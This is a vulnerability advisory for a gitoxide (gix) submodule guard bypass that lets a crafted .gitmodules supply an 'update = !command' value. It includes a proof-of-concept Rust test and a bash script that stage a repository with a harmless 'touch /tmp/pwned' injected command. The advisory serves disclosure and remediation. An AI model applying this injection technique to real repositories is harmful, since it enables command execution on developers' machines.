Skip to content

GHSA-f26g-jm89-4g65 CVE-2026-40034

gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules

High crates.io
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.65%
Chance of exploitation in the next 30 days. Higher than 51.22% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-183 Permissive List of Allowed Inputs
CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data
CWE-501 Trust Boundary Violation
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
Fix
0.83.0
Upgrade gix to this version or later

Description

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains:
    [submodule "sub"]
        active = true
        url = /tmp/sub-origin
    
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains:
    [submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
    
    while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

  • The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
  • However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

  1. Calls Submodule::update() to determine the update strategy, and
  2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Affected versions

crates.io

PackageVulnerableFixed in
gix
>= 0.31.0, < 0.83.0
0.83.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gix crates.io → 0.83.0

cargo
cargo update -p gix --precise 0.83.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.8

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-183: Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

CWE-501: Trust Boundary Violation

The product mixes trusted and untrusted data in the same data structure or structured message.

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Implementation: If possible, ensure that all external commands called from the program are statically created.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
  • System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-q54r-jf2p-rfr2
gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options()
High Also affects gix
GHSA-fr8x-3vfx-f45h
gix and gitoxide: unvalidated submodule name traverses out of .git/modules and redirects state() / open() to another repository
High Also affects gix
GHSA-pg4w-g64p-qwhj
gix and gitoxide's symlinked .gitmodules are followed and parsed from outside of the repository
High Also affects gix
GHSA-p3hw-mv63-rf9w
gix's submodule name validation bypass + trust inheritance flaw enables path traversal and credential disclosure
High Also affects gix
GHSA-2frx-2596-x5r6
gitoxide does not detect SHA-1 collision attacks
Medium Also affects gix
GHSA-7w47-3wg8-547c
gix traversal outside working tree enables arbitrary code execution
High Also affects gix
GHSA-49jc-r788-3fc9
gix refs and paths with reserved Windows device names access the devices
Medium Also affects gix
GHSA-98p4-xjmm-8mfh
gix-transport indirect code execution via malicious username
Medium Also affects gix
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor